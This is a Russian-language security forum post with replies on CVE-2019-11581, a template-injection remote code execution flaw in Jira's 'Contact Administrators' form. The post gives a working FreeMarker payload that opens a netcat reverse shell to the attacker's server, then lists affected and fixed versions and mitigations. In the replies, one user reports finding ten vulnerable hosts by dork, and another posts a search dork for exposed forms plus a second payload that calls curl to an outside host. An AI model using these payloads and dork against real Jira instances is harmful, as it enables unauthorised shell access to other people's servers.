Статья Remote Code Execution (RCE) в Jira (CVE-2019–11581)

Всем Салам.
Remote code execution in Atlassian Jira(CVE-2019–11581) through template engine FreeMaker.
В апреле месяце была обнаружена RCE в продукте Atlassian Confluence, а если быть точнее в плагине, который почти всегда там используется. И вот через 4 месяца еще одна RCE, но теперь уже в другом продукте - Jira.


Proof-OF-Concept
Все это дело реализовывается через форму "Связаться с админом". По умолчанию он выключен, но у многих он включен. Jira использует компилирующий обработчик шаблонов - , написанный на Java. Зная это, получается сгенерировать несложный Payload.

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('nc -e /bin/bash server 80').waitFor()

rceinjira1.png


Затем идем к нам на сервер, где слушаем порт и видим, что есть бэкконект:

rceinjira2.png


Вуаля, у нас есть шелл. Чаще всего, это пользователь Jira, но есть также моменты, у кого запущен и от root. Подобный RCE, еще был в 2017 году в Spring Boot и снова Java и снова шаблонизатор FreeMaker,

687474703a2f2f64656164706f6f6c2e73682f696d616765732f7263655f6e65772e6a7067.jpg


How To Fix?
Обновить!
Уязвимые версии:
  • 4.4.x
  • 5.x.x
  • 6.x.x
  • 7.0.x
  • 7.1.x
  • 7.2.x
  • 7.3.x
  • 7.4.x
  • 7.5.x
  • 7.6.x before 7.6.14 (the fixed version for 7.6.x)
  • 7.7.x
  • 7.8.x
  • 7.9.x
  • 7.10.x
  • 7.11.x
  • 7.12.x
  • 7.13.x before 7.13.5 (the fixed version for 7.13.x)
  • 8.0.x before 8.0.3 (the fixed version for 8.0.x)
  • 8.1.x before 8.1.2 (the fixed version for 8.1.x)
  • 8.2.x before 8.2.3 (the fixed version for 8.2.x)
Исправлено в версиях:
  • 7.6.14
  • 7.13.5
  • 8.0.3
  • 8.1.2
  • 8.2.3
Если нет возможности срочно обновится, то временным решением будет:
  • Отключить форму отправки сообщения Админам
  • Заблокировать доступ к эндпоинту /secure/admin/SendBulkMail!default.jspa
Всем удачи!
 
Последнее редактирование:
lol рановато в паблик слили я по дорку навскидку уже 10 нашёл
 
Спасибо за статью. Обнаружил у себя на работе, что наша jira доступна всем желающим и уязвима. Написал админам через ту же уязвимую форму
 
  • Нравится
Реакции: mrtyrel
Дорк
inurl:/secure/ContactAdministrators!default.jspa

Payload
Java:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://avtohanter.ru/rcetest?a=a').waitFor()
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!